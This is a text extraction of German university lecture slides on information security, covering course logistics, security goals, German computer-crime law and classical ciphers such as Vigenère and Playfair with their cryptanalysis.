I Modul Informationssicherheit I - htw-dresden.derobge/is/vl/is-all-6up.pdf · Modul...

57
Modul Informationssicherheit Thema 1: Einführung Robert Baumgartl 18. Juli 2018 1/27 Organisatorisches Pflichtmodul 2/0/2, d. h., 90’ Vorlesung und 90’ Praktikum pro Woche Vorlesung montags, 11:10 Uhr bzw. 15:10 Uhr (im Wechsel), S 331 Kontaktmöglichkeiten: persönlich nach Vorlesung/Praktikum oder zur Sprechstunde (dienstags 11-12 Uhr, Z 357) per Mail an [email protected] dem Subject bitte „[IS]“ voranstellen Tel. (0351) 462 2510 Prüfung Klausur, 90’ Hilfsmittel: 1 Seite A4 einseitig beschrieben; nichtprogrammierbarer TR Zulassungsvoraussetzung: Beleg (PVL, d. h. unbenotet) 2/27 Organisatorisches Praktika, Belegaufgabe Praktikum 3 Gruppen/Termine Prof. Baumgartl, Herr Paul Start: nachher Aufgabenblätter: http://www.informatik.htw-dresden.de/~robge/is/is.html Prüfungsvorleistung: Bekanntgabe der Aufgabenstellung etwa zur Semestermitte (personalisierte) Aufgabe, die mittels C und libcrypto (OpenSSL) implementiert werden muss 3/27 Ressourcen Vorlesungsunterlagen, Bücher Vorlesungsfolien (im PDF), Praktikumsaufgaben, aktuelle Informationen erscheinen im Laufe des Semesters unter http://www.informatik.htw-dresden.de/~robge/is/is.html Bruce Schneier. Angewandte Kryptographie. Pearson, 2006 (besser die englische Ausgabe von 1996) Matt Bishop. Introduction to Computer Security. Prentice Hall, 2004 Albrecht Beutelspacher. Kryptologie. 9. Aufl. Vieweg+Teubner, 2009 Ross Anderson. Security Engineering. 2. Aufl. Wiley, 2008 Youtube! (z.B. Christoph Paar) 4/27 Ressourcen Web, Vorschläge http://www.schneier.com http://www.phrack.org http://www.backtrack-linux.org/ http://computer-forensik.org https://www.ccc.de http://www.lightbluetouchpaper.org/ http://insecure.org http://www.forensix.org 5/27 Motivation Schlagzeilen der letzten Zeit Cambridge Analytica hat 50 Millionen Facebook-Profile gescrapet und ggf. missbraucht (Link, 21. 03. 2018) Gravierende Prozessor-Sicherheitslücken: Meltdown und Spectre (Link, 04. 01. 2018) „KRACK - so funktioniert der Angriff auf WPA2“ (Link, 19. 10. 2017) „Schutz durch Speicherverwürfelung ASLR geknackt“ (Link, 15. 02. 2017) „Todesstoß: Forscher zerschmettern SHA-1“ (Link, 23. 02. 2017) „Vault 7: Wikileaks präsentiert Liste der CIA-Hacker-Werkzeuge“ (Link, 23. 02. 2017) „Kriminelle bieten Mirai-Botnetz mit 400.000 IoT-Geräten zur Miete an“ (Link, 25. 11. 2016) 6/27 1

Transcript of I Modul Informationssicherheit I - htw-dresden.derobge/is/vl/is-all-6up.pdf · Modul...

Modul InformationssicherheitThema 1: Einführung

Robert Baumgartl

18. Juli 2018

1 / 27

Organisatorisches

I PflichtmodulI 2/0/2, d. h., 90’ Vorlesung und 90’ Praktikum pro WocheI Vorlesung montags, 11:10 Uhr bzw. 15:10 Uhr (im

Wechsel), S 331I Kontaktmöglichkeiten:

I persönlich nach Vorlesung/Praktikum oder zurSprechstunde (dienstags 11-12 Uhr, Z 357)

I per Mail [email protected]

I dem Subject bitte „[IS]“ voranstellenI Tel. (0351) 462 2510

I PrüfungI Klausur, 90’I Hilfsmittel: 1 Seite A4 einseitig beschrieben;

nichtprogrammierbarer TRI Zulassungsvoraussetzung: Beleg (PVL, d. h. unbenotet)

2 / 27

OrganisatorischesPraktika, Belegaufgabe

PraktikumI 3 Gruppen/TermineI Prof. Baumgartl, Herr PaulI Start: nachherI Aufgabenblätter:

http://www.informatik.htw-dresden.de/~robge/is/is.html

Prüfungsvorleistung:I Bekanntgabe der Aufgabenstellung etwa zur

SemestermitteI (personalisierte) Aufgabe, die mittels C und libcrypto

(OpenSSL) implementiert werden muss

3 / 27

RessourcenVorlesungsunterlagen, Bücher

I Vorlesungsfolien (im PDF), Praktikumsaufgaben, aktuelleInformationen erscheinen im Laufe des Semesters unterhttp://www.informatik.htw-dresden.de/~robge/is/is.html

I Bruce Schneier. Angewandte Kryptographie. Pearson,2006 (besser die englische Ausgabe von 1996)

I Matt Bishop. Introduction to Computer Security. PrenticeHall, 2004

I Albrecht Beutelspacher. Kryptologie. 9. Aufl.Vieweg+Teubner, 2009

I Ross Anderson. Security Engineering. 2. Aufl. Wiley, 2008I Youtube! (z. B. Christoph Paar)

4 / 27

RessourcenWeb, Vorschläge

I http://www.schneier.comI http://www.phrack.orgI http://www.backtrack-linux.org/I http://computer-forensik.orgI https://www.ccc.deI http://www.lightbluetouchpaper.org/I http://insecure.orgI http://www.forensix.org

5 / 27

MotivationSchlagzeilen der letzten Zeit

I Cambridge Analytica hat 50 Millionen Facebook-Profilegescrapet und ggf. missbraucht (Link, 21. 03. 2018)

I Gravierende Prozessor-Sicherheitslücken: Meltdown undSpectre (Link, 04. 01. 2018)

I „KRACK - so funktioniert der Angriff auf WPA2“ (Link,19. 10. 2017)

I „Schutz durch Speicherverwürfelung ASLR geknackt“(Link, 15. 02. 2017)

I „Todesstoß: Forscher zerschmettern SHA-1“ (Link,23. 02. 2017)

I „Vault 7: Wikileaks präsentiert Liste derCIA-Hacker-Werkzeuge“ (Link, 23. 02. 2017)

I „Kriminelle bieten Mirai-Botnetz mit 400.000 IoT-Gerätenzur Miete an“ (Link, 25. 11. 2016)

6 / 27

1

Motivation

7 / 27

Was machen wir hier eigentlich?

Beschäftigung mit den grundlegenden Anforderungen an dieSicherheit beim Betrieb von Rechensystemen:I Vertraulichkeit,I Integrität,I Verfügbarkeit.

Des weiteren widmen wir uns den AspektenI Authentizität/Authentifizierung,I Zurechenbarkeit/Nichtabstreitbarkeit,I Anonymität.

Szenarien: Angriffe und Gegenmaßnahmen

Handhabung ausgewählter Werkzeuge für die Praxis

Betrachtung beider Seiten

(vgl. Modulbeschreibung I-170)10 / 27

Inhalt der Lehrveranstaltung

I Einführung, Motivation, Grundlagen, BegriffeI Klassische Verfahren und Angriffe auf dieseI (kryptografische) Hashfunktionen, Kollisionen,

Geburtstagsparadoxon, Signaturen,I Moderne symmetrische Verschlüsselungsverfahren (DES,

AES, IDEA)I mathematische GrundlagenI asymmetrische Verfahren (Diffie-Hellman, RSA, ElGamal)I kryptografische Algorithmen, Schlüsselverwaltung, API,

WerkzeugeI Zugangskontrolle, Passwortsysteme, Rainbow TablesI Anonymität, Mixe, TorI Zero-Knowledge-ProtokolleI Programme mit Schadensfunktion (Malware)

11 / 27

Schutzziel: Vertraulichkeit (Confidentiality)

I ist das Verbergen von InformationenI sensitive Daten, z. B.

I personenbezogenI der militärischen Geheimhaltung unterliegendI Geschäftsgeheimnisse

I wird durch Mechanismen bzw. Dienste gewährleistet, z. B.I Ver- und Entschlüsselung (Kryptografie)I Verbergen in „unverdächtigen“ Daten (Steganografie)I Zugriffssteuerung (Access Control)

I erfordert Unterstützung durch das System

12 / 27

Schutzziel: (Daten-)Integrität

I Verhinderung der Verfälschung von Daten, Ressourcenetc.

I „Kann ich den Daten trauen?“I realisiert durch

I Verhinderung unautorisierten SchreibzugriffsI Erkennung einer Integritätsverletzung (z. B. durch

kryptografische Prüfsummen)I Unterscheidung der Integrität der Daten selbst sowie der

datengenerierenden QuelleI Verletzung der Integrität möglich durch

I unautorisierte Personen (Angriff von außen)I autorisierte Personen (Angriff von innen)

13 / 27

Schutzziel: Verfügbarkeit (Availability)

I bezüglich einer Ressource, eines Dienstes, bestimmterInformationen

I auch ein Aspekt der Systemzuverlässigkeit (Security vs.Safety)

I Denial of Service Attack vermindert bzw. eliminiert dieVerfügbarkeit o. g. Ressourcen, Dienste etc.→wirtschaftlicher Schaden

I meist (aber nicht immer) gegen einzelne Server, Firmenetc. gerichtet

14 / 27

2

Beispiel: Hackerangriff auf Bundestag 2015

I im Mai 2015 wurde bekannt, dass das gesamte Computernetzdes Bundestags Ziel eines Hackerangriffs sei

I Ausgangspunkt: Phishingangriff via Mail (un.org), Link aufSeite mit Schadsoftware

I 1 Rechner mit Trojaner infiziert, Verschaffung vonAdmin-Passworten

I Konsequenz: viertägige (!) Abschaltung des gesamten Netzes

I Ziel war wahrscheinlich der Diebstahl aller möglichenDokumente (.pdf, .xls, .xlsx, .doc, .docx)

Literatur:

I https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/

I https://netzpolitik.org/2016/wir-veroeffentlichen-dokumente-zum-bundestagshack-wie-man-die-abgeordneten-im-unklaren-liess/

15 / 27

Policy und Mechanism (Strategie und Mechanismus)

Eine Sicherheitsstrategie (security policy) ist dieFormulierung, welche Aktionen für welche Nutzer erlaubt bzw.verboten sind.Ein Sicherheitsmechanismus (security mechanism) ist eineMethode oder Vorgehensweise, eine gegebeneSicherheitsstrategie zu verwirklichen.

Beispiel:Strategie: Nur ich darf mein Homeverzeichnis ansehen.Mechanismen:

a) Nutzerauthentifizierung und (vernünftiges) Passwortb) Rechner→ abschließbarer Raum, kein Netzc) Verschlüsselung des Massenspeichers/Dateisystems

(TrueCrypt)

16 / 27

Bedrohungen (Threats)

Eine Bedrohung ist eine potentielle Verletzung derSicherheitsstrategie.

(eine) Möglichkeit der Klassifizierung:I Aufdeckung (Disclosure) - unautorisierter Zugang zu

Informationen (Abhören, Durchsuchen, Kopieren)I Täuschung (Deception) - Fälschung von DatenI Unterbrechung (Interruption) - Das System funktioniert nur

noch teilweise oder gar nicht mehrI Übernahme (Usurpation) - das System wird teilweise oder

vollständig durch Dritte genutzt und gesteuert

17 / 27

Einige Gesetzestexte§202a StGB: „Ausspähen von Daten“

(1) Wer unbefugt sich oder einem anderen Zugang zu Daten,die nicht für ihn bestimmt und die gegen unberechtigtenZugang besonders gesichert sind, unter Überwindung derZugangssicherung verschafft, wird mit Freiheitsstrafe bis zudrei Jahren oder mit Geldstrafe bestraft.

(2) Daten im Sinne des Absatzes 1 sind nur solche, dieelektronisch, magnetisch oder sonst nicht unmittelbarwahrnehmbar gespeichert sind oder übermittelt werden.

18 / 27

Einige Gesetzestexte§202b StGB: „Abfangen von Daten“

Wer unbefugt sich oder einem anderen unter Anwendung vontechnischen Mitteln nicht für ihn bestimmte Daten (§202aAbs. 2) aus einer nichtöffentlichen Datenübermittlung oder ausder elektromagnetischen Abstrahlung einerDatenverarbeitungsanlage verschafft, wird mit Freiheitsstrafebis zu zwei Jahren oder mit Geldstrafe bestraft, wenn die Tatnicht in anderen Vorschriften mit schwererer Strafe bedroht ist.

(in Kraft getreten am 7. August 2007)

19 / 27

Der „Hackerparagraf“§202c StGB: „Vorbereiten des Ausspähens und Abfangens von Daten“

(1) Wer eine Straftat nach §202a oder §202b vorbereitet, indemer

1. Passwörter oder sonstige Sicherungscodes, die denZugang zu Daten (§202a Abs.2) ermöglichen, oder

2. Computerprogramme, deren Zweck die Begehung einersolchen Tat ist,

herstellt, sich oder einem anderen verschafft, verkauft, einemanderen überlässt, verbreitet oder sonst zugänglich macht, wirdmit Freiheitsstrafe bis zu einem Jahr oder Geldstrafe bestraft.

(2) §149 Abs.2 und 3 gilt entsprechend.

20 / 27

3

„Datenhehlerei“§202d StGB, 2015

(1) Wer Daten (§ 202a Absatz 2), die nicht allgemein zugänglich sind und die einanderer durch eine rechtswidrige Tat erlangt hat, sich oder einem anderen verschafft,einem anderen überlässt, verbreitet oder sonst zugänglich macht, um sich oder einenDritten zu bereichern oder einen anderen zu schädigen, wird mit Freiheitsstrafe bis zudrei Jahren oder mit Geldstrafe bestraft.

(2) Die Strafe darf nicht schwerer sein als die für die Vortat angedrohte Strafe.

(3) Absatz 1 gilt nicht für Handlungen, die ausschließlich der Erfüllung rechtmäßigerdienstlicher oder beruflicher Pflichten dienen. Dazu gehören insbesondere

1. solche Handlungen von Amtsträgern oder deren Beauftragten, mit denen Datenausschließlich der Verwertung in einem Besteuerungsverfahren, einemStrafverfahren oder einem Ordnungswidrigkeitenverfahren zugeführt werdensollen, sowie

2. solche beruflichen Handlungen der in § 53 Absatz 1 Satz 1 Nummer 5 derStrafprozessordnung genannten Personen, mit denen Datenentgegengenommen, ausgewertet oder veröffentlicht werden.

21 / 27

Straffreiheit§149 StGB: „Vorbereitung der Fälschung von Geld und Wertzeichen“

(2) Nach Absatz 1 wird nicht bestraft, wer freiwillig1. die Ausführung der vorbereiteten Tat aufgibt und eine von

ihm verursachte Gefahr, daß andere die Tat weitervorbereiten oder sie ausführen, abwendet oder dieVollendung der Tat verhindert und

2. die Fälschungsmittel, soweit sie noch vorhanden und zurFälschung brauchbar sind, vernichtet, unbrauchbar macht,ihr Vorhandensein einer Behörde anzeigt oder sie dortabliefert.

(3) Wird ohne Zutun des Täters die Gefahr, daß andere die Tatweiter vorbereiten oder sie ausführen, abgewendet oder dieVollendung der Tat verhindert, so genügt an Stelle derVoraussetzungen des Absatzes 2 Nr. 1 das freiwillige undernsthafte Bemühen des Täters, dieses Ziel zu erreichen.

(http://dejure.org/gesetze/StGB/ )22 / 27

Zusammenfassung §202

I Früher: Bloßes Eindringen in fremde Systeme nichtstrafbar.

I Nun: Unbefugter Zugang unter Überwindung vonSicherheitsvorkehrungen ist strafbar!

I Hauptmangel: fehlende präzise Definition strafrechtlichrelevanter Werkzeuge („Hackertools“)

I Werkzeuge nach § 202b sind offensichtlich auch vieleSicherheitstools, deren Einsatz zur Gewährleistung derSystemsicherheit unabdingbar ist?!

I Gesetz wurde ziemlich kontrovers diskutiert, im Mai 2007in Kraft gesetzt.

I „Gutartige“ Verwendung von Hackertools ist bislang nichtbetraft worden.

„Literatur“: Chaosradio CR 137 Der Hackerparagraph. Der§202c auf dem Prüfstand. Podcast vom 31. 7. 2008http://chaosradio.ccc.de/cr137.html

23 / 27

Beispiel: John the Ripper

I Passwortcracker für Unix und WindowsI http://www.openwall.com/john/I gern genutzt, um schwache Passphrasen zu entdecken

(und damit die Systemsicherheit zu erhöhen)I Download und Verbreitung ist nach § 202c strafbar,

Nutzung im o. g. Sinne nach § 202a möglicherweise auch

24 / 27

Einige Formen der Computerkriminalitätohne Anspruch auf Vollständigkeit

I EinbruchI IdentitätsdiebstahlI SpionageI Denial-of-Service (z. B. www.bundeskanzlerin.de,

7. 1. 2015)I Sabotage (z. B. Stuxnet)I Manipulation (Fälschen) von Daten (z. B. Defacement von

Webseiten)I SpammingI unerlaubte Verbreitung urheberrechtlich geschützter

Werke („Piraterie“)

25 / 27

Beispiel: DefacementWebsite der Brazilian Air Force, 3. 9. 2013

26 / 27

4

Zusammenfassung: Was haben wir gelernt?

1. Warum gibt es das Fach Informationssicherheit?2. 3 Säulen: Vertraulichkeit, Integrität, Verfügbarkeit3. Was beinhaltet der Hackerparagraf?

27 / 27

Vorlesung InformationssicherheitThema 2: Grundlagen der Kryptographie

Robert Baumgartl

18. Juli 2018

1 / 57

Krypt-was?

Zwei Teilgebiete:Kryptografie beschäftigt sich mit der sicheren Übertragung von

NachrichtenKryptanalyse ist das Brechen von kryptografisch

verschlüsselten NachrichtenKryptologie umfasst beide Teildisziplinen und ist selbst ein

Teilgebiet der Mathematik.

2 / 57

Grundbegriffe

Sender und Empfänger tauschen Nachrichten aus.

Damit niemand außer den beiden Teilnehmern den Inhalt derNachrichten lesen kann, werden diese beim Empfängerverschlüsselt und beim Empfänger entschlüsselt:

Verschlüsselung Entschlüsselungverschlüsselter TextKlartext Klartext

M MC

Verschlüsselungsfunktion E (encryption)Entschlüsselungsfunktion D (decryption)

Die unverschlüsselte Nachricht wird Klartext (P, Plain Text,oder M, Message) genannt. Die verschlüsselte Nachricht heißtChiffrat (C).

E(M) = C D(C) = M und damit D(E(M)) = M.

3 / 57

Historie: Skytale

I älteste (dokumentierte) kryptografische Methode (Sparta, ≈ 500v.u.Z.)

Prinzip:

I Pergament- bzw.Lederstreifen um Holzstabdefinierter Dicke gewickelt

I längs beschriftet

I abgewickelt unlesbar

I Empfänger kann Botschaftnur lesen, wenn Holzstabgleicher Dicke benutzt

Prinzip der Skytale1

1Abb.: CrypTool-Projekt, http://www.cryptool.org, Skytale3d de, CC BY-SA 3.04 / 57

Historie: Chiffrierung durch Transposition

Idee: Nur die Positionen der zu kodierenden Zeichen werdenmanipuliert.

Beispiel: Spaltentransposition

Klartext: COMPUTER GRAPHICS MAY BE SLOW BUT ATLEAST IT’S EXPENSIVE

COMPUTERGRAPHICSMAYBESLOWBUTATLEASTITSEXPENSIVEXXX

Chiffrat: CAELP OPSEE MHLAN PIOSS UCWTI TSBIVEMUTE RATSX GYAEX RBTXX

5 / 57

5

Historie: Chiffrierung mittels Substitution

I Idee: Elemente im Klartext werden durch andere Elementeim Chiffretext ersetzt

I Dechiffrierung durch Umkehrung der Substitution

Einfachste Form: monoalphabetische SubstitutionI jedem Zeichen im Klartext ist genau ein Zeichen im

Chiffrat zugeordnet ( genau ein Alphabet)I Caesar-Verschlüsselung (Pos. im Alphabet + 3 modulo 26)I ROT-13 Pos. im Alphabet + 13 modulo 26I unter Ausnutzung relativer Buchstabenhäufigkeiten sehr

leicht zu brechen

6 / 57

Buchstabenhäufigkeit

Buchstabe Häufigkeit Buchstabe Häufigkeita 6.51 n 9.78b 1.89 o 2.51c 3.06 p 0.79d 5.08 q 0.02e 17.40 r 7.00f 1.66 s 7.27g 3.01 t 6.15h 4.76 u 4.35i 7.55 v 0.67j 0.27 w 1.89k 1.21 x 0.03l 3.44 y 0.04

m 2.53 z 1.13

Tabelle: Häufigkeit von einzelnen Buchstaben in deutschenGebrauchstexten (in Prozent)

7 / 57

Historie: Chiffrierung mittels SubstitutionWeitere Kategorien von Substitutionsverfahren

homophone SubstitutionI ein Zeichen Klartext kann auf verschiedene Zeichen

Chiffre abgebildet werdenI Zeichenvorrat des Chiffrats größer

polygrafische SubstitutionI Blöcke von Zeichen im Klartext werden auf Blöcke von

Zeichen im Chiffrat abgebildetpolyalphabetische SubstitutionI je nach Position des Zeichens werden unterschiedliche

Kodierungsalphabete genutztI z. B. Vigenère-Verschlüsselung

8 / 57

Historie: Chiffrierung mittels SubstitutionDigrafisches System von Giovanni Battista Porta (1563)

Paare von Buchstaben werden durch graphische Symbole ersetzt(David Kahn: The Codebreakers. Scribner, 1996, S. 139)

9 / 57

Vigenère-Verschlüsselung

I Idee: Nutzung mehrerer (bis zu 26) monoalphabetischerVerschlüsselungen im Wechsel; Anordnung imsog. Vigenère-Quadrat

I entwickelt von Blaise de Vigenère (1523-1596)I Basis vieler Verschlüsselungen, die bis heute genutzt

werdenI gleicht unterschiedliche Auftrittswahrscheinlichkeiten der

Buchstaben ausI über Analyse der Buchstabenhäufigkeiten nicht zu

brechen

10 / 57

Vigenère-VerschlüsselungHilfsmittel: Vigenère-Quadrat oder -Tableau

A B C D E F G H I J K L M N O P Q R S T U V W X Y ZB C D E F G H I J K L M N O P Q R S T U V W X Y Z AC D E F G H I J K L M N O P Q R S T U V W X Y Z A BD E F G H I J K L M N O P Q R S T U V W X Y Z A B CE F G H I J K L M N O P Q R S T U V W X Y Z A B C DF G H I J K L M N O P Q R S T U V W X Y Z A B C D EG H I J K L M N O P Q R S T U V W X Y Z A B C D E FH I J K L M N O P Q R S T U V W X Y Z A B C D E F GI J K L M N O P Q R S T U V W X Y Z A B C D E F G HJ K L M N O P Q R S T U V W X Y Z A B C D E F G H IK L M N O P Q R S T U V W X Y Z A B C D E F G H I JL M N O P Q R S T U V W X Y Z A B C D E F G H I J KM N O P Q R S T U V W X Y Z A B C D E F G H I J K LN O P Q R S T U V W X Y Z A B C D E F G H I J K L MO P Q R S T U V W X Y Z A B C D E F G H I J K L M NP Q R S T U V W X Y Z A B C D E F G H I J K L M N OQ R S T U V W X Y Z A B C D E F G H I J K L M N O PR S T U V W X Y Z A B C D E F G H I J K L M N O P QS T U V W X Y Z A B C D E F G H I J K L M N O P Q RT U V W X Y Z A B C D E F G H I J K L M N O P Q R SU V W X Y Z A B C D E F G H I J K L M N O P Q R S TV W X Y Z A B C D E F G H I J K L M N O P Q R S T UW X Y Z A B C D E F G H I J K L M N O P Q R S T U VX Y Z A B C D E F G H I J K L M N O P Q R S T U V WY Z A B C D E F G H I J K L M N O P Q R S T U V W XZ A B C D E F G H I J K L M N O P Q R S T U V W X Y

Sch

lues

sel

Klartexta b c d e f g h i j k l m n o p q r s t u v w x y z

11 / 57

6

Anwendung

Wahl eines Schlüsselworts – Zuordnung Buchstaben desSchlüsselwortes zu Klartextbuchstaben (ggf. mehrfach)

Verschlüsselung: Schnittpunkt Zeile Schlüsselbuchstabe -Spalte Klartextbuchstabe liefert Chiffratbuchstaben

Entschlüsselung: Schlüsselbuchstabe selektiert wiedermonoalphabetische Chiffre, Aufsuchen desChiffratbuchstabens in Chiffre, darüberliegender Spaltenkopf istKlartextbuchstabe

Beispiel: (Schlüsselwort: „Elba“)

Schlüssel E L B A E L B A E L B A E L B A E

Klartext a n g r i f f z w e i u h r m e z

Chiffrat E Y H R M Q G Z A P J U L C N E D

12 / 57

Vigenère-VerschlüsselungKasiski-Test

Friedrich Wilhelm Kasiski (1863) beobachtete:

Schlüssel E L B A E L B A E L B A E L B A E

Klartext · · e i n · · · · · · e i n · · ·Chiffrat · · F I R · · · · · · E M Y · · ·

Schlüssel E L B A E L B A E L B A E L B A E

Klartext · · · e i n · · · · · e i n · · ·Chiffrat · · · E M Y · · · · · E M Y · · ·

I Identische Klartextpassagen werden auf identischeChiffratphrasen abgebildet, wenn sie unter identischenBuchstaben des Schlüsselwortes stehen.

I Abstand ist ein Vielfaches der Schlüssellänge!

13 / 57

Vigenère-VerschlüsselungKasiski-Test

I Suche nach sich wiederholenden Buchstabenfolgen derLänge 3 und größer im Chiffrat

I Bestimmung des Abstandes dieser gleichenBuchstabenfolgen

I Abstand ist Vielfaches der SchlüssellängeI Gibt es mehrere Abstände, so muss die Schlüssellänge

alle (bzw. die allermeisten) Abstände teilen.I Ermittlung der Schlüssellänge ist ausreichend, um

Vigenère-Verschlüsselung zu brechen.

14 / 57

Vigenère-VerschlüsselungKasiski-Test: Beispiel

EYRYC FWLJH FHSIU BHMJO UCSEGTNEER FLJLV SXMVY SSTKC MIKZSJHZVB FXMXK PMMVW OZSIA FCRVFTNERH MCGYS OVYVF PNEVH JAOVWUUYJU FOISH XOVUS FMKRP TWLCI

FMWVZ TYOIS UUIIS ECIZV SVYVFPCQUC HYRGO MUWKV BNXVB VHHWIFLMYF FNEVH JAOVW ULYER AYLERVEEKS OCQDC OUXSS LUQVB FMALFEYHRT VYVXS TIVXH EUWJG JYARS

ILIER JBVVF BLFVW UHMTV UAIJHPYVKK VLHVB TCIUI SZXVB JBVVPVYVFG BVIIO VWLEW DBXMS SFEJGFHFVJ PLWZS FCRVU FMXVZ MNIRIGAESS HYPFS TNLRH UYR

Folge Abstand ZerlegungTNE 50 2·5·5

FCRV 265 5·53NEVHJAOVWU 90 2·3·3·5

VWU 75 3·5·5(OIS) (26) (2·13)

Vermutete Schlüssellänge: ggT(50,265,90,75) = 5.

15 / 57

Vigenère-VerschlüsselungFriedman-Test: Koinzidenzindex

I William Friedman (1925)I statistische GrößeI kann zur Kryptanalyse unbekannter Chiffrate eingesetzt

werden.

Mit welcher Wahrscheinlichkeit ‘erwischt’ man bei zufälligerAuswahl zweier Zeichen aus einem gegebenen Text zweigleiche Zeichen?

16 / 57

Vigenère-VerschlüsselungFriedman-Test: Koinzidenzindex

I Anzahl Buchstabenpaare ‘aa’ aus einem Text, der n1-mal ’a’ enthält:

n1(n1 − 1)

2

I Anzahl Buchstabenpaare ’aa’, ‘bb’, . . . , ‘zz’ aus einem Text, der n1-mal ‘a’, n2-mal ‘b’, . . . , n26-mal ‘z’enthält:

n1(n1 − 1)

2+

n2(n2 − 1)

2+ · · · +

n26(n26 − 1)

2=

26∑

i=1

ni (ni − 1)

2

I Wahrscheinlichkeit, bei zufälliger Auswahl zweier Zeichen aus einem Text der Länge n zwei gleiche Zeichenzu erhalten:

26∑

i=1

ni (ni − 1)

2

n(n − 1)

2

=

26∑

i=1

ni (ni − 1)

n(n − 1)= κ

I κ (Kappa) ist der Friedmansche Koinzidenzindex

17 / 57

7

Vigenère-VerschlüsselungKoinzidenzindex mit Auftrittswahrscheinlichkeiten

Gegeben: Text deutscher Sprache (Auftrittswahrscheinlichkeiten der einzelnen Buchstaben bekannt)I Wkt., dass erster Buchstabe des Paares ein ‘a’ ist, ist p1

I Wkt., dass zweiter Buchstabe des Paares ein ‘a’ ist, ist ebenfalls p1

I Wkt., bei zufälliger Auswahl zweier Zeichen aus einem deutschen Text zweimal ‘a’ zu erhalten ist damit p21 .

I Wkt., bei zufälliger Auswahl zweier Zeichen aus einem deutschen Text zwei gleiche Buchstaben zu erhalten:

κ = p21 + p2

2 + · · · + p226 =

26∑

i=1

p2i .

κ der deutschen Sprache ist damit:

κDE = 0.06512 + 0.01892 + · · · + 0.01132 ≈ 0.0762. (κEN ≈ 0.0667)

Für einen Text aus zufälligen Buchstaben ergibt sich hingegen:

κRND =26∑

i=1

p2i =

26∑

i=1

( 1

26

)2= 26 ·

1

262=

1

26≈ 0.0385.

18 / 57

Vigenère-VerschlüsselungFriedman-Test

gegeben:I Chiffrat der Länge n ( Koinzidenzindex κ des Chiffrats

trivial zu ermitteln)I Wissen über die Sprache des Klartextes (z. B. Deutsch,κDE bekannt)

Dann beträgt die Länge h des Schlüssels näherungsweise(Friedman, 1925):

h ≈ n(κDE − κRND)

κ · (n − 1) + κDE − nκRND.

Literatur: Albrecht Beutelspacher: Kryptologie. 9. Auflage,Wiesbaden, 2009, S. 34–40.

19 / 57

Vigenère-VerschlüsselungVon der Schlüssellänge zur Dechiffrierung

Schlüsselwortlänge h Chiffrat besteht aus h Folgen, diemonoalphabetisch verschlüsselt sind:

Nummern derBuchstaben desChiffrats

1 2 3 ......h + 1 h + 2 h + 3

h2h

2h + 1 2h + 2 ...2h + 3 3h

... ... ......

...Schlüssel

...

jeweils monoalphabetisch verschlüsselt

...

20 / 57

Historie: Codex Copiale2

2Abb.: gemeinfrei21 / 57

Historie: Codex Copiale

I verschlüsselte Handschrift aus dem 18. Jh.I homophone VerschlüsselungI 2011 entschlüsselt (Kevin Knight et al: The Copiale Cipher.

Proceedings of the 4th Workshop on Building and UsingComparable Corpora. Stroudsburg PA, 2011)

I deutscher KlartextI Beschreibung geheimer Initiationsriten einer deutschen

freimaurerähnlichen Gesellschaft („Oculisten“)

22 / 57

Historie: Das Voynich-Manuskript3

I wahrscheinlich zwischen1404 und 1438 geschrieben

I 102 (erhaltene)Pergament-Blätter,beschrieben in einerunbekannten Sprache

I „Text“ gehorcht bestimmtennatürlichsprachigenStatistiken

I bis heute nicht entschlüsselt(Freiwillige vor!)

3Abb.: gemeinfrei23 / 57

8

Playfair-Chiffre1. Vorbereitung Klartext

I Kleinbuchstaben in Großbuchstaben umwandelnI Interpunktionszeichen eliminierenI Substitution des ‘J’ durch ‘I’I Ersetzung der Umlaute durch Zwielaute (‘Ä’→ ‘AE’ usw.)I Unterteilung in Bigramme, dabei Einfügen eines ‘X’, falls

Buchstaben in ein- und demselben Bigramm doppeltauftreten

I Anfügen eines ‘X’, falls ungerade Anzahl Zeichen resultiert

Beispiel-Klartext: „Jawoll, Ostern ist schön!“Resultat Vorbereitung: „IA WO LX LO ST ER NI ST SC HO EN“

24 / 57

Playfair-Chiffre2. Erstellung des Playfair-Quadrates

Anordnung aller Buchstaben des Alphabets (ohne ‘J’) in5x5-Quadrat nach folgender Vorschrift:

I links oben beginnend nach rechtsSchlüsselwort eintragen, dabeidoppelt vorkommendeBuchstaben auslassen

I danach die restlichen Buchstabenin alphabetischer Reihenfolge

I Beispielschlüssel: „Osterhase“

Beispiel:

V W X Y Z

M N P Q U

F G I K L

H A B C D

O S T E R

Sender und Empfänger generieren Quadrat; müssen alsoSchlüssel kennen.

25 / 57

Playfair-Chiffre3. (Bigrammweise) Verschlüsselung

a) Stehen beide Zeichen des Plaintextes inein- und derselben Zeile, dann Ersetzungder Zeichen durch die jeweils rechtsdavon stehenden Zeichen (mit„Wrap-Around"). Beispiel: ST → TE

b) Stehen beide Zeichen des Plaintextes inein- und derselben Spalte, dann Ersetzungdurch die jeweils darunterstehendenZeichen (mit „Wrap-Around").Beispiel: HO → FH

c) Ansonsten Ersetzung der Zeichen desPlaintextes durch die diagonalgegenüberliegenden „Ecken“ desaufgespannten Rechtecks; Zeile zuerst.Beispiel: LX → IZ

Beispiel:

V W X Y Z

M N P Q U

F G I K L

H A B C D

O S T E R

26 / 57

Playfair-ChiffreVerschlüsselung des Beispiels

Klartext ChiffratIA GB

WO VSLX IZLO FRST TEER RONI PGST TESC EAHO FHEN SQ

Playfair-Quadrat:

V W X Y Z

M N P Q U

F G I K L

H A B C D

O S T E R

27 / 57

Playfair-ChiffreAnmerkungen

I Entschlüsselung erfolgt in (geometrisch) umgekehrterRichtung.

I Verfahren ist monoalphabetisch bigraphisch.I überlegen ggü. Verfahren mit einzelnen ZeichenI sehr leicht zu erlernen und auszuführen (Forderung Nr. 6

der Kerckhoffs’schen Prinzipien)I 1854 von Sir Charles Wheatstone erfunden; Lord Lyon

Playfair zugeschriebenI genutzt bis ca. zum 1. WeltkriegI heute kryptografisch gebrochen, d. . h., unsicher

28 / 57

HistorieWeiterführende Literatur

I Friedrich L. Bauer. Entzifferte Geheimnisse. Springer,1995

I Simon Singh. Geheime Botschaften. dtv, 2001I David Kahn. The Codebreakers. Scribner, 1996I Klaus Schmeh. Codeknacker gegen Codemacher. 3. Aufl.

w3l AG, 2014

29 / 57

9

Schlüssel

Ver- und Entschlüsselung erfolgt bei modernen Algorithmen mitsog. Schlüsseln (K , key).

I Schlüssel haben i. a. sehr großer Wertebereich (damit mannicht alle durchprobieren kann)

I Schlüssel sind für Ver- und Entschlüsselung nötig

